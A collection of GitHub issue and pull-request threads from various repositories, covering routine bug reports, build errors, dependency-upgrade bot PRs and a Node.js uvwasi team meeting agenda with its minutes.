at Microsoft.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection, Action1 wrapCloseInAction)    at Microsoft.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)    at Microsoft.Data.SqlClient.TdsParser.Connect(ServerInfo serverInfo, SqlInternalConnectionTds connHandler, Boolean ignoreSniOpenTimeout, Int64 timerExpire, Boolean encrypt, Boolean trustServerCert, Boolean integratedSecurity, Boolean withFailover, SqlAuthenticationMethod authType)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds.AttemptOneLogin(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, Boolean ignoreSniOpenTimeout, TimeoutTimer timeout, Boolean withFailover)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds.LoginNoFailover(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString connectionOptions, SqlCredential credential, TimeoutTimer timeout)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds.OpenLoginEnlist(TimeoutTimer timeout, SqlConnectionString connectionOptions, SqlCredential credential, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance)    at Microsoft.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, SqlCredential credential, Object providerInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString userConnectionOptions, SessionData reconnectSessionData, Boolean applyTransientFaultHandling, String accessToken, DbConnectionPool pool)    at Microsoft.Data.SqlClient.SqlConnectionFactory.CreateConnection(DbConnectionOptions options, DbConnectionPoolKey poolKey, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningConnection, DbConnectionOptions userOptions)    at Microsoft.Data.ProviderBase.DbConnectionFactory.CreatePooledConnection(DbConnectionPool pool, DbConnection owningObject, DbConnectionOptions options, DbConnectionPoolKey poolKey, DbConnectionOptions userOptions)    at Microsoft.Data.ProviderBase.DbConnectionPool.CreateObject(DbConnection owningObject, DbConnectionOptions userOptions, DbConnectionInternal oldConnection)    at Microsoft.Data.ProviderBase.DbConnectionPool.UserCreateRequest(DbConnection owningObject, DbConnectionOptions userOptions, DbConnectionInternal oldConnection)    at Microsoft.Data.ProviderBase.DbConnectionPool.TryGetConnection(DbConnection owningObject, UInt32 waitForMultipleObjectsTimeout, Boolean allowCreate, Boolean onlyOneCheckConnection, DbConnectionOptions userOptions, DbConnectionInternal& connection)    at Microsoft.Data.ProviderBase.DbConnectionPool.TryGetConnection(DbConnection owningObject, TaskCompletionSource1 retry, DbConnectionOptions userOptions, DbConnectionInternal& connection)
at Microsoft.Data.ProviderBase.DbConnectionFactory.TryGetConnection(DbConnection owningConnection, TaskCompletionSource1 retry, DbConnectionOptions userOptions, DbConnectionInternal oldConnection, DbConnectionInternal& connection)    at Microsoft.Data.ProviderBase.DbConnectionInternal.TryOpenConnectionInternal(DbConnection outerConnection, DbConnectionFactory connectionFactory, TaskCompletionSource1 retry, DbConnectionOptions userOptions)
at Microsoft.Data.SqlClient.SqlConnection.TryOpen(TaskCompletionSource1 retry, SqlConnectionOverrides overrides)    at Microsoft.Data.SqlClient.SqlConnection.OpenAsync(CancellationToken cancellationToken) --- End of stack trace from previous location ---    at Microsoft.EntityFrameworkCore.Storage.RelationalConnection.OpenInternalAsync(Boolean errorsExpected, CancellationToken cancellationToken)    at Microsoft.EntityFrameworkCore.Storage.RelationalConnection.OpenInternalAsync(Boolean errorsExpected, CancellationToken cancellationToken)    at Microsoft.EntityFrameworkCore.Storage.RelationalConnection.OpenAsync(CancellationToken cancellationToken, Boolean errorsExpected)    at Microsoft.EntityFrameworkCore.Storage.RelationalCommand.ExecuteReaderAsync(RelationalCommandParameterObject parameterObject, CancellationToken cancellationToken)    at Microsoft.EntityFrameworkCore.Query.Internal.SingleQueryingEnumerable1.AsyncEnumerator.InitializeReaderAsync(AsyncEnumerator enumerator, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.SqlServer.Storage.Internal.SqlServerExecutionStrategy.ExecuteAsync[TState,TResult](TState state, Func4 operation, Func4 verifySucceeded, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Query.Internal.SingleQueryingEnumerable1.AsyncEnumerator.MoveNextAsync()    at Microsoft.EntityFrameworkCore.Query.ShapedQueryCompilingExpressionVisitor.SingleAsync[TSource](IAsyncEnumerable1 asyncEnumerable, CancellationToken cancellationToken)
at Microsoft.EntityFrameworkCore.Query.ShapedQueryCompilingExpressionVisitor.SingleAsync[TSource](IAsyncEnumerable1 asyncEnumerable, CancellationToken cancellationToken)    at GrammarNazi.Core.Repositories.EFRepository1.Any(Expression`1 filter) in /src/GrammarNazi.Core/Repositories/EFRepository.cs:line 33
at GrammarNazi.Core.Services.TwitterMentionLogService.GetLastTweetId() in /src/GrammarNazi.Core/Services/TwitterMentionLogService.cs:line 26
at GrammarNazi.App.HostedServices.TwitterBotMentionHostedService.ExecuteAsync(CancellationToken stoppingToken) in /src/GrammarNazi.App/HostedServices/Twitter/TwitterBotMentionHostedService.cs:line 54
ClientConnectionId:00000000-0000-0000-0000-000000000000
Exception caught counter: 7.

Database down for a while (again)

repo: nminaya/grammar-nazi-bot


text:
Couldn't find preset relative to /User/Myself/..../node_modules/react-timeago

I just added the package and npm install.
And then I imported it in one of my components. Then I hit this error.
What should I do?

OS and node version please.

@nmn MacOS sierra. Node version 6.6.0. NPM version 3.10.7

So, I'm on the same version for everything, and I can't reproduce the error.
Some further questions that should help me hunt this down:

Are you using Webpack/browserify?

Are you running babel on node_modules?

If you open the node_modules/react-timego and delete the .babelrc file does that fix the problem?

@nmn I am not 100% familiar with webpack/babel. in my package.json, i don't have any of these things specified. Nor do I have any webpack/babel config files in my project.
I tried your #2 - it does fix my issue. Now is it possible for my npm to remove that file automatically each time npm install runs?

@nmn I just realize i am making a incredibly stupid mistake. This issue really has nothing to do with your module. It is all my fault.

repo: nmn/react-timeago


text:
GitHubとDiscordを連携させる

できたかな？

できた！

repo: nndd-reboot/NNDD


text:
question about 'undo'

how to cancle the text from last edit word
not cancle all edit word

My repository for RichEditorView most likely does the same thing. We use a JavaScript command called execCommand in which the browser decides what is undone. The command, itself, is most likely: document.execCommand('undo', false, null);
I'm not too sure since I don't use this repo, but it most likely does this. There really isn't much leeway unless you use a DispatchQueue like so (this is pseudocode since I don't use this repository):
override func viewDidLoad() {
    super.viewDidLoad()
    getLastContent()
}
var undo_html = ""
private func getLastContent() {
    DispatchQueue.main.asyncAfter(deadline: .now() + 2, execute: {
        undo_html = self.editorView.get_html()  // Assuming the editor controller is editorView
        self.getLastContent()  // Recursive
    }
}

Then you can rewrite the undo functionality by using that variable undo_html instead by setting the html to that for undo. Best have a redo variable in that case, as well, since you're technically changing the text, not undoing.

authors: Jacky-LinPeng YoomamaFTW

repo: nnhubbard/ZSSRichTextEditor


text:
Don't measure undefined or null strings.

Fixes #2223

Coverage increased (+0.009%) to 71.74% when pulling 68b493732c29b544eac0d72526d1981407c8d26f on fix/2223 into e93677e0c8891a13c96a59d656a54fc2e4cdac4b on v2.0-dev.

authors: coveralls etimberg


text:
Services are discovered twice after an early disconnect and reconnect

Hi, I'm working on an application for a BLE device where I'm receiving data on a Raspberry Pi. I expect the connection to be shaky, and I'm expecting a large number of disconnects and reconnects.
My code works fine most of the time. However, there is one case where I'm getting an issue:

foo() is supposed to run on the discovery of the service.

The peripheral is discovered

A connection is made successfully

The central stops scanning

A disconnect occurs at some point between the connection and the discovery of the service

The central starts scanning again, rediscovers the peripheral, and connects.

This time, there is no disconnect

foo() runs twice. I'm assuming because a listener persists from before.

Also, when it reconnects and disconnects a number of times, I get a MaxListenersExceededWarning which I believe is for the reasons articulated here: https://github.com/noble/noble/issues/244
'use strict';

const noble = require('noble');

const NRF_UUID = '5555'

const serviceUUIDs = [NRF_UUID];
const characteristicUUIDs = [NRF_UUID];

noble.on('stateChange', state => {
  if (state === 'poweredOn') {
    console.log('Scanning');
    noble.startScanning([NRF_UUID]);
  } else {
    noble.stopScanning();
  }
});

noble.on('discover', peripheral => {
    // connect to the first peripheral that is scanned
    noble.stopScanning();
    const name = peripheral.advertisement.localName;
    console.log(`Connecting to '${name}' ${peripheral.id}`);
    connectAndSetUp(peripheral);

	peripheral.on('disconnect', () => {
		console.log('disconnected');
		console.log('Scanning');
		noble.startScanning([NRF_UUID]);
		//I've tried setting peripheral = null here but that does not work
	});

});

function connectAndSetUp(peripheral) {

  peripheral.connect(error => {
    console.log('Connected to', peripheral.id);
    peripheral.discoverServices(serviceUUIDs, onServiceDiscovered);
  })

};

function onServiceDiscovered(error, service) {
  console.log('Discovered service');

  let len = service.length;

  //The application has only one service

  service[0].discoverCharacteristics(characteristicUUIDs, function(error,characteristic) {
    //do something here.
  });

};

When there is a disconnection in the case described above is, the output is
Scanning
Connecting to 'ServiceName' db4808fc0bcb
Connected to db4808fc0bcb
disconnected
Scanning
Connecting to 'ServiceName' db4808fc0bcb
Connected to db4808fc0bcb
Discovered service
Discovered service

I don't want onServiceDiscovered to run a second time. Is there an easy way to stop this from happening?

Check here: https://github.com/noble/noble/issues/244

authors: evanakm marksyzm

repo: noble/noble


text:
Fix getValue for boolean types

I ran into an issue when trying to request the value of a stackframe variable when it was the boolean type.
(node:11980) UnhandledPromiseRejectionWarning: TypeError: this._bytes.getByte is not a function
    at ByteBuffer.getValue (D:\Studium\Masterarbeit\projects\jdwp-react\backend\node_modules\jdwp\lib\byte_buffer.js:332:29)
    at GetValues.decode (D:\Studium\Masterarbeit\projects\jdwp-react\backend\node_modules\jdwp\lib\command\stack_frame\get_values.js:38:24)
    at JDWPConnection._handlePacket (D:\Studium\Masterarbeit\projects\jdwp-react\backend\node_modules\jdwp\lib\connection.js:100:40)

Taking a look at the code it seemed it was trying to call the .getByte() function of Buffer which does not exist. It seems it was supposed to call the this.getByte() function instead.
      case 90: // BOOLEAN
        len = 1;
        value = this._bytes.getByte(index + 1) === 1;
        break;

PS: Good job on this library overall!

Is this repo still maintained?

repo: node-modules/jdwp


text:
都写了个逗号？

var WechatAPI = require('wechat-api');

var api = new WechatAPI(appid, appsecret, );
api.updateRemark('open_id', 'remarked', function (err, data, res) {
  // TODO
});

WechatAPI(appid, appsecret, ); 此处是否最后多写了一个 ',' 号

这是哪里？

readme 里面。 是的话，我顺手提个 pr 修改了。

authors: JacksonTian SunLn

repo: node-webot/wechat-api


text:
npm weekly, #24

http://blog.npmjs.org/post/126588929320/npm-weekly-24-semver-explained-amazing-videos

草稿：https://github.com/nodejs/iojs-tw/blob/master/source/_drafts/npm-weekly-24.md

repo: nodejs/iojs-tw


text:
command to know in which release branch(es) a specific commit is

I don't think we have a simple automated way to do that now. Due to the way we land commits in releases, we cannot just search for the commit SHA in release branches.
I think it would be useful to have a command for that.
Prior art in V8: https://github.com/v8/v8/blob/master/tools/release/mergeinfo.py

Example:
PR: https://github.com/nodejs/node/pull/30123
Landed on master in https://github.com/nodejs/node/commit/511f67bcb42b59c9a3a3efab8fed578db100afe1
Landed on v13.x in https://github.com/nodejs/node/commit/d549a34597d8d9f8489de748e42eefdd148d0bef
Landed on v12.x in https://github.com/nodejs/node/commit/375f349760d141b37abe5e7119aab243426eb2f4
Did not land on v10.x or v8.x

repo: nodejs/node-core-utils


text:
Incompatibility with node 10.15 and 11.6

Node Version:  10.15 and 11.6
Platform: macOS Mojave
Compiler: Apple LLVM version 10.0.0 (clang-1000.10.44.4)
Target: x86_64-apple-darwin18.2.0
Thread model: posix
InstalledDir: /Library/Developer/CommandLineTools/usr/bin
Module: mean.js

Verbose output (from npm or node-gyp):
node-pre-gyp ERR! Tried to download(404): https://fsevents-binaries.s3-us-west-2.amazonaws.com/v1.1.2/fse-v1.1.2-node-v64-darwin-x64.tar.gz
node-pre-gyp ERR! Pre-built binaries not found for fsevents@1.1.2 and node@10.15.0 (node-v64 ABI) (falling back to source compile with node-gyp)
node-pre-gyp http 404 status code downloading tarball https://fsevents-binaries.s3-us-west-2.amazonaws.com/v1.1.2/fse-v1.1.2-node-v64-darwin-x64.tar.gz
node-pre-gyp verb command build [ 'rebuild' ]
node-pre-gyp ERR! Tried to download(undefined): https://fsevents-binaries.s3-us-west-2.amazonaws.com/v1.1.2/fse-v1.1.2-node-v64-darwin-x64.tar.gz
node-pre-gyp ERR! Pre-built binaries not found for fsevents@1.1.2 and node@10.15.0 (node-v64 ABI) (falling back to source compile with node-gyp)
node-pre-gyp http Connection closed while downloading tarball file

4 warnings and 1 error generated.
4 warnings and 1 error generated.
make: make: *** [Release/obj.target/fse/fsevents.o] Error 1
*** [Release/obj.target/fse/fsevents.o] Error 1
gypgyp  ERR!ERR! build error
build error
gyp gyp ERR!ERR!  stackstack Error: `make` failed with exit code: 2
gyp Error: `make` failed with exit code: 2
 gyp ERR! ERR!stack      at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:262:23)
stackgyp     at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:262:23)
 ERR!gyp  stackERR!     at ChildProcess.emit (events.js:182:13)
 gypstack      at ChildProcess.emit (events.js:182:13)
gypERR!  stackERR!     at Process.ChildProcess._handle.onexit (internal/child_process.js:240:12)
 stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:240:12)
gypgyp  ERR! ERR! SystemSystem Darwin 18.2.0
 Darwin 18.2.0
gyp ERR! gypcommand  "/usr/local/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64/fse.node" "--module_name=fse" "--module_path=/path/Server_Docker/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64"
ERR! gypcommand  "/usr/local/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64/fse.node" "--module_name=fse" "--module_path=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64"
ERR! cwdgyp /path/mean/node_modules/fsevents
 ERR!gyp  cwdERR! /path/mean/node_modules/fsevents
 gypnode -v  v10.15.0
ERR! gypnode -v  v10.15.0
ERR! gypnode-gyp -v  v3.8.0
ERR!gyp  node-gyp -vERR! v3.8.0
 not okgyp
 ERR! not ok
node-pre-gyp ERR! build error
node-pre-gyp ERR! stack Error: Failed to execute '/usr/local/bin/node /usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js build --fallback-to-build --module=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64/fse.node --module_name=fse --module_path=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64' (1)
node-pre-gyp ERR! stack     at ChildProcess.<anonymous> (/path/mean/node_modules/fsevents/node_modules/node-pre-gyp/lib/util/compile.js:83:29)
node-pre-gyp ERR! stack     at ChildProcess.emit (events.js:182:13)
node-pre-gyp ERR! stack     at maybeClose (internal/child_process.js:962:16)
node-pre-gyp ERR! stack     at Process.ChildProcess._handle.onexit (in

Same here, has anyone found a different solution than downgrading nodejs to v8?

Same here!!

gyp ERR! cwd /usr/local/lib/node_modules/local-npm/node_modules/leveldown gyp ERR! node -v v10.15.3 gyp ERR! node-gyp -v v3.8.0 gyp ERR! not ok  npm ERR! code ELIFECYCLE

I don't know the reason but it worked after I switched from using npm to yarn instead

I think there's a few very distinct issues in this thread and node-gyp may not be directly responsible. I'm going to close this, but if you're still experiencing problems then feel free to open a new issue with some verbose build output. The short output doesn't help all that much in some of these cases. node-gyp build --verbose

authors: hieuhlc magpielover rootlinux2 rvagg

repo: nodejs/node-gyp


text:
Add target_modules_version variable into generated config.gypi file

It may be handy to have multiple native addon binaries for several Node.js versions (i.e. 0.12, 4.X, 5.X). Node.js has a value for the native modules version as process.versions.modules.
A particular C++ addon can be loaded in JavaScript depending on Node.js version like this:
  // loads 'addon_win32_x64_m47.node' for Node.js 5.0 on Windows x64
  // loads 'addon_linux_x64_m46.node' for Node.js 4.X on Linux x64
  var native = require('addon' + process.platform + '_'
              + process.arch + '_m' + process.versions.modules + '.node');

The target binary file name should be set with product_name directive in binding.gyp file in a such way:
  {
    'targets': [
      {
        'product_name': 'addon_<(target_platform)_<(target_arch)_m<(target_modules_version)'
        ... # rest of GYP directives
      }
    ]
  }

where target_platform is a configuration variable with value from Node.js process.platform property.
But the process.versions.modules value can't be used for target_modules_version since node-gyp can build targets for different Node.js versions specified with a --target command-line option.
To resolve this issue, a function getModulesVersion() was added on configure step to get a value of NODE_MODULE_VERSION defined in node_version.h file in a supplied directory with Node.js development files.

Can you add a couple of regression tests?  You'll probably need to adjust the logic a little so you can test it without trying to read from disk (or make it use fixtures somehow.)

Reworked getModulesVersion() to read a particular file, depending on the target Node.js version.
No tests were added yet, because I don't know how to make appropriate fixtures for them.

Ideally this should be provided by node itself in it's config.gypi file.

Renamed function to nodeModulesVersion() added tests for it.

@bnoordhuis could you review recent changes please?

This needs more tests, there are quite a few cases that aren't covered yet.  For example, the use case of node-gyp --nodedir /path/to/master configure (i.e., no version number in the path) should be tested because I'm quite sure that's broken now.
If you make the fs.readFileSync call pluggable, e.g. by making it an optional argument to nodeModulesVersion(), you can unit test it more easily.

@bnoordhuis thank you very much! I will think on more tests.

needs more tests, there are quite a few cases that aren't covered yet

Something that just came to mind: building for electron / nw.js / node-webkit.
Also, it's perhaps worth pointing out that node.js v6.3.0 introduced the node_module_version gyp variable, at least partially obviating this PR.

@bnoordhuis do you think that node_module_version will be backported to the older release trains?

Maybe to v4 but not to v0.10 and v0.12.  Those are near their end of life anyway, though.

@bnoordhuis should we open an issue on @nodejs/lts?

@TheAlphaNerd Sure, go ahead.

Having this in some final releases of 0.10 and 0.12 would be ultra cool.
Actually this patch could become a separate npm module which kicks in as a fallback if module version is not available via the gypi files.

The node_modules_version variable was introduced as a set of bigger changes that make it possible to build node as a shared library.  That is not going to get back-ported but if you want to take a stab at back-porting just the variable, you're welcome.
Caveat emptor though, v0.10 and v0.12 are in maintenance mode.  Normally only security fixes and critical fixes are accepted but since node_modules_version is useful for building add-ons across versions, I think we can make an exception.

Thank you @bnoordhuis, this is good news! I will have a look at backporting just the variable.

Great, given that tools/getnodeversion.py has been there since 2001, the backport will be trivial.

A quick and seemingly working backport to v0.10: https://github.com/nodejs/node/pull/7808

@pmed Do you think this PR is still necessary?

As I understand, the variable node_module_version has been added into config.gypi in Node versions 4.x and 6.x
I think there is no more need to do the same thing in node-gyp, so let's close this PR.

Okay thanks, I'll close.

authors: TheAlphaNerd bnoordhuis pmed saper


text:
chore: improve setup & CI config

ignore snapshot files for linting
switch tests run to leverage npm's --workspaces
move CI-specific options

instead of requesting review maybe add code owner ?

I solved the CLI arg issue 🥳
However, I'm getting a seemingly erroneous failure in CI:
Run node --run lint
  node --run lint
  shell: /usr/bin/bash -e {0}
node: bad option: --run

@AugustinMauroy ah, it looks like biome chose to specifically disallow configuring certain options and unfortunately chose objectively undesirable ones, such as forcefully collapsing line breaks (their choice bloats diffs and makes it more difficult to see what was actually changed). I despised that about prettier, so I would like to replace Biome with ESLint.

authors: AugustinMauroy JakobJingleheimer

repo: nodejs/userland-migrations


text:
Node.js  uvwasi team Meeting 2023-07-19

Time
UTC Wed 19-Jul-2023 18:00 (06:00 PM):

Timezone
Date/Time

US / Pacific
Wed 19-Jul-2023 11:00 (11:00 AM)

US / Mountain
Wed 19-Jul-2023 12:00 (12:00 PM)

US / Central
Wed 19-Jul-2023 13:00 (01:00 PM)

US / Eastern
Wed 19-Jul-2023 14:00 (02:00 PM)

EU / Western
Wed 19-Jul-2023 19:00 (07:00 PM)

EU / Central
Wed 19-Jul-2023 20:00 (08:00 PM)

EU / Eastern
Wed 19-Jul-2023 21:00 (09:00 PM)

Moscow
Wed 19-Jul-2023 21:00 (09:00 PM)

Chennai
Wed 19-Jul-2023 23:30 (11:30 PM)

Hangzhou
Thu 20-Jul-2023 02:00 (02:00 AM)

Tokyo
Thu 20-Jul-2023 03:00 (03:00 AM)

Sydney
Thu 20-Jul-2023 04:00 (04:00 AM)

Or in your local time:

https://www.timeanddate.com/worldclock/fixedtime.html?msg=Node.js+Foundation+uvwasi team+Meeting+2023-07-19&iso=20230719T1800
or https://www.wolframalpha.com/input/?i=06PM+UTC%2C+Jul+19%2C+2023+in+local+time

Links

Minutes Google Doc: https://docs.google.com/document/d/19jGK7NhfLXERIzi-z54ZFaqxxKtq4PZMUlFonCejhgI/edit

Agenda
Extracted from uvwasi-agenda labelled issues and pull requests from the nodejs org prior to the meeting.
nodejs/node

WASI preview 1: fd_readdir ignores cookie argument #47193

nodejs/uvwasi

What's new with uvwasi in 2023 #201
Implement 4 stubbed out socket methods #200
Changes to WASI spec in snapshot_preview2 #59

Invited

uvwasi team: @nodejs/wasi

Observers/Guests
Notes
The agenda comes from issues labelled with uvwasi-agenda across all of the repositories in the nodejs org. Please label any additional issues that should be on the agenda before the meeting starts.
Joining the meeting

link for participants: https://zoom.us/j/91612484369
For those who just want to watch:
youtube admin page: https://www.youtube.com/my_live_events?filter=scheduled

Minutes from the meeting
Node.js  uvwasi team Meeting 2023-07-19
Links

Recording:
GitHub Issue: https://github.com/nodejs/uvwasi/issues/216

Present

Michael Dawson (@mhdawson)
Blaine Bublitz (@phated)
Guy Bedford

Agenda
Announcements
*Extracted from uvwasi-agenda labelled issues and pull requests from the nodejs org prior to the meeting.
nodejs/node

WASI preview 1: fd_readdir ignores cookie argument #47193

No update

nodejs/uvwasi

What's new with uvwasi in 2023 #201

Blaine - now working on consuming installable libuvwasi, having issues on linux, ok on windows/mac. Have not had enough time to pinpoint issue.
Guy - progress on some WASI virtualization work

Implement 4 stubbed out socket methods #200

Michael making good progress on linux, CI’s still failing on Windows and Mac

Changes to WASI spec in snapshot_preview2 #59

Patrick - Lots of ongoing work, working on plan how preview2 will be released. Plan will be presented at next spec meeting on Thursday.  Going to take CLI and http worlds and standardize on those two and as additional world become ready (multiple vendors support) they will be added to preview 2. Current target is fall. Guy in terms of stability its getting close
Patrick another big change is coming, resources, enables a lot of virtualization work.

Guy update on virtualization

Walked us through the concept and what it gives you for ENV variables add
the file system
Should have demo soon, if interested will be presenting at the monthly bytecode alliance community call -

Blain a release would be nice once I get final debugging

Q&A, Other
Upcoming Meetings

Node.js Project Calendar: https://nodejs.org/calendar

Click +GoogleCalendar at the bottom right to add to your own Google calendar.

repo: nodejs/uvwasi


text:
Test Issue created at Fri, 12 Nov 2021 12:09:50 GMT

Test issue body  Fri, 12 Nov 2021 12:09:50 GMT

Comment on issue at Fri, 12 Nov 2021 12:09:53 GMT

repo: nodemationqa/nodeQA


text:
Update README.md

Fixed a typo and also removed note about SPM not working, as it now successfully works! :)

Current coverage is 100.00%

Merging #55 into master will not affect coverage as of 8ef33ca

@@            master     #55   diff @@
======================================
  Files            4       4
  Stmts          241     241
  Branches         0       0
  Methods          0       0
======================================
  Hit            241     241
  Partial          0       0
  Missed           0       0

Review entire Coverage Diff as of 8ef33ca

Powered by Codecov. Updated on successful CI builds.

authors: codecov-io nickskull

repo: nodes-ios/Serializable


text:
fix garbled output on node v6

Fixes: https://github.com/nodesecurity/nsp/issues/100

Thanks for the quick find! Doing some quick testing with the various versions.

Tested fix in the latest in 6, 5, 0.12, 0.10 versions. LGTM,

authors: evanlucas evilpacket

repo: nodesecurity/nsp


text:
[Snyk] Upgrade tsd from 0.26.0 to 0.27.0

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade tsd from 0.26.0 to 0.27.0.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 2 versions ahead of your current version.
The recommended version was released 21 days ago, on 2023-03-10.

Release notes

Package name: tsd

0.27.0 - 2023-03-10
Report missing diagnostic codes when using expectError (#178)  b4503d0
Add missing error codes (#177)  168de40

v0.26.1...v0.27.0

0.26.1 - 2023-03-07
Log stacktrace on failure (#176)  5b117c5

v0.26.0...v0.26.1

0.26.0 - 2023-03-06
Add diagnostic for TS error 2707 (#173)  114db77

v0.25.0...v0.26.0

    from tsd GitHub release notes

Commit messages

Package name: tsd

621aad9 0.27.0
b4503d0 Report missing diagnostic codes when using `expectError` (#178)
168de40 Add missing error codes (#177)
dfa9bc0 0.26.1
5b117c5 Log stacktrace on failure (#176)

Compare

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

Codecov Report
Patch and project coverage have no change.

Comparison is base (c0fdfe7) 92.39% compared to head (1d8d16e) 92.39%.

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #213   +/-   ##
=======================================
  Coverage   92.39%   92.39%
=======================================
  Files           9        9
  Lines         263      263
=======================================
  Hits          243      243
  Misses         20       20

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

authors: codecov-commenter lholmquist

repo: nodeshift/faas-js-runtime


text:
[Snyk] Upgrade @typescript-eslint/parser from 6.4.1 to 6.20.0

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade @typescript-eslint/parser from 6.4.1 to 6.20.0.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 246 versions ahead of your current version.
The recommended version was released 22 days ago, on 2024-01-29.

Release notes

Package name: @typescript-eslint/parser

6.20.0 - 2024-01-296.20.0 (2024-01-29)
🚀 Features

eslint-plugin: [member-ordering] allow easy reuse of the default ordering (#8248)

🩹 Fixes

eslint-plugin: [no-useless-template-literals] incorrect bigint autofix result (#8283)
eslint-plugin: [prefer-nullish-coalescing] treat any/unknown as non-nullable (#8262)
eslint-plugin: [no-useless-template-literals] report Infinity & NaN (#8295)
eslint-plugin: [prefer-readonly] disable checking accessors (#8300)

❤  Thank You

Alex Parloti @ parloti
auvred @ auvred
James Browning
StyleShit @ StyleShit
YeonJuan @ yeonjuan

You can read about our versioning strategy and releases on our website.

6.19.2-alpha.8 - 2024-01-29

6.19.2-alpha.7 - 2024-01-28

6.19.2-alpha.6 - 2024-01-28

6.19.2-alpha.5 - 2024-01-28

6.19.2-alpha.4 - 2024-01-28

6.19.2-alpha.3 - 2024-01-26

6.19.2-alpha.2 - 2024-01-25

6.19.2-alpha.1 - 2024-01-22

6.19.2-alpha.0 - 2024-01-22

6.19.1 - 2024-01-226.19.1 (2024-01-22)
🩹 Fixes

eslint-plugin: [no-unnecessary-condition] fix false positive for type variable (#8235)
type-utils: preventing isUnsafeAssignment infinite recursive calls (#8237)

❤  Thank You

YeonJuan @ yeonjuan

You can read about our versioning strategy and releases on our website.

6.19.1-alpha.2 - 2024-01-19

6.19.1-alpha.1 - 2024-01-16

6.19.1-alpha.0 - 2024-01-15

6.19.0 - 2024-01-156.19.0 (2024-01-15)
🚀 Features

eslint-plugin: [prefer-promise-reject-errors] add rule (#8011)
eslint-plugin: [no-array-delete] add new rule (#8067)
eslint-plugin: [no-useless-template-literals] add fix suggestions (#8065)

🩹 Fixes

eslint-plugin: [no-unnecessary-type-assertion] detect unnecessary non-null-assertion on a call expression (#8143)
eslint-plugin: [no-unnecesary-type-assertion] treat unknown/any as nullable (#8089)
typescript-estree: add JSDocParsingMode enum merge for typescript/lib/tsserverlibrary (#8193)
typescript-estree: disallow using as the variable keyword for for..in loops (#7649)
typescript-estree: fix incorrect backwards-compat augmentation in TS 5.3 (#8181)

❤  Thank You

auvred @ auvred
Brad Zacher @ bradzacher
Josh Goldberg ✨
Joshua Chen
LJX @ lvjiaxuan
Steven @ Solo-steven
StyleShit @ StyleShit

You can read about our versioning strategy and releases on our website.

6.18.2-alpha.7 - 2024-01-13

6.18.2-alpha.6 - 2024-01-13

6.18.2-alpha.5 - 2024-01-12

6.18.2-alpha.4 - 2024-01-12

6.18.2-alpha.3 - 2024-01-11

6.18.2-alpha.2 - 2024-01-09

6.18.2-alpha.1 - 2024-01-09

6.18.2-alpha.0 - 2024-01-08

6.18.1 - 2024-01-086.18.1 (2024-01-08)
🩹 Fixes

eslint-plugin: [no-non-null-assertion] provide valid fix when member access is on next line (#8185)
eslint-plugin: [no-unnecessary-condition] improve checking optional callee (#8178)
eslint-plugin: [prefer-readonly] support modifiers of unions and intersections (#8169)
eslint-plugin: [switch-exhaustiveness-check] fix new allowDefaultCaseForExhaustiveSwitch option (#8176)
typescript-estree: fix invalid parsing error when use update expression on non-null assertion (#8202)
typescript-estree: only create project service from env setting if project is enabled (#8136)
utils: improve error message on typed rule with invalid parser (#8146)

❤  Thank You

auvred @ auvred
James @ Zamiell
Josh Goldberg ✨
YeonJuan @ yeonjuan

You can read about our versioning strategy and releases on our website.

6.18.1-alpha.6 - 2024-01-08

6.18.1-alpha.5 - 2024-01-07

6.18.1-alpha.4 - 2024-01-07

6.18.1-alpha.3 - 2024-01-07

6.18.1-alpha.2 - 2024-01-06

6.18.1-alpha.1 - 2024-01-06

6.18.1-alpha.0 - 2024-01-06

6.18.0 - 2024-01-066.18.0 (2024-01-06)
🚀 Features

eslint-plugin: [no-var-requires, no-require-imports] allow option (#7710)
typescript-estree: throw on invalid update expressions (#7202)
typescript-estree: throw error when CatchClause param contains initializer (#8183)

❤  Thank You

auvred @ auvred
Joshua Chen

You can read about our versioning strategy and releases on our website.

